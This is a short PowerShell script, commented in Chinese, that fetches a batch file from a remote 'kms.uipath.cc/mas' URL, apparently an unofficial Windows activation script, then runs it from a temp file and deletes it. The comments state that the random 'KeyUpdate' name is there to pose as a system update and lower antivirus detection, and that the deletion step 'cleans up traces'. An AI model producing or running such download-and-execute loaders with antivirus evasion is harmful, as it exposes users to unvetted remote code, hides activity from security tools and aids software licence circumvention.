# 伪装成系统更新进程或随机名称,降低杀软敏感度 $randomName = "KeyUpdate_" + [Guid]::NewGuid().ToString().Substring(0, 8) $tempFile = "$env:TEMP\$randomName.cmd" $remoteUrl = "https://kms.uipath.cc/mas" # 设置控制台标题 $host.UI.RawUI.WindowTitle = "正在连接激活服务器..." try { Write-Host "`n[1/3] 正在获取配置..." -ForegroundColor Cyan # 下载内容字符串 $response = Invoke-RestMethod -Uri $remoteUrl -UseBasicParsing # 校验 if ($response -notmatch "@echo off" -and $response -notmatch "nul") { throw "下载的内容无效,请检查认证或网络。" } Write-Host "[2/3] 正在构建运行环境..." -ForegroundColor Green # 写入本地临时文件 Set-Content -Path $tempFile -Value $response -Encoding ASCII -Force } catch { Write-Host "错误: $($_.Exception.Message)" -ForegroundColor Red # 出错时也倒计时关闭,防止窗口瞬间消失看不清报错 Start-Sleep -Seconds 5 exit } # 3. 启动 MAS Write-Host "[3/3] 启动中..." -ForegroundColor Yellow Start-Sleep -Seconds 1 # 启动 CMD 并等待其关闭 (-Wait 是关键) Start-Process cmd.exe -ArgumentList "/c $tempFile" -Wait # 4. 清理痕迹 Remove-Item $tempFile -ErrorAction SilentlyContinue # ========================================== # 新增:倒计时自动关闭逻辑 # ========================================== Write-Host "`n" for ($i = 3; $i -gt 0; $i--) { # `r 回车符可以让倒计时在同一行刷新 Write-Host -NoNewline "`r[系统] 任务结束,窗口将在 $i 秒后自动关闭..." -ForegroundColor Gray Start-Sleep -Seconds 1 } # 强制杀掉当前 PowerShell 进程 Stop-Process -Id $PID